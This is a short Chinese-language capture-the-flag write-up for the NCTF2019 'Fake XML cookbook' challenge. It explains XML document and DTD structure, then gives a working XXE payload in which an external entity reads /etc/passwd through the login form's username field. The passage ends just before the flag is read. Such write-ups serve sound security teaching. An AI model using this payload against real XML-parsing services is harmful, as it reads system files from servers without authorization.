[NCTF2019]Fake XML cookbook

打开题目，只有一个登录框，尝试爆破无果

查看页面源代码发现是xml类型的，感觉有xxe注入漏洞

XML（Extensible Markup Language）意为可扩展性标记语言，XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。

<!--XML声明-->

<?xml version="1.0"?> 

<!--文档类型定义-->

<!DOCTYPE people [  <!--定义此文档是 people 类型的文档-->

  <!ELEMENT people (name,age,mail)>  <!--定义people元素有3个元素-->

  <!ELEMENT name (#PCDATA)>     <!--定义name元素为“#PCDATA”类型-->

  <!ELEMENT age (#PCDATA)>   <!--定义age元素为“#PCDATA”类型-->

  <!ELEMENT mail (#PCDATA)>   <!--定义mail元素为“#PCDATA”类型-->

]]]>

构造paload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note [

  <!ENTITY admin SYSTEM "file:///etc/passwd">

  ]>

<user><username>&admin;</username><password>123</password></user>

声明实体 admin，用于读取 /etc/passwd 文件，然后通过 &admin; 来引用执行

接下来读取flag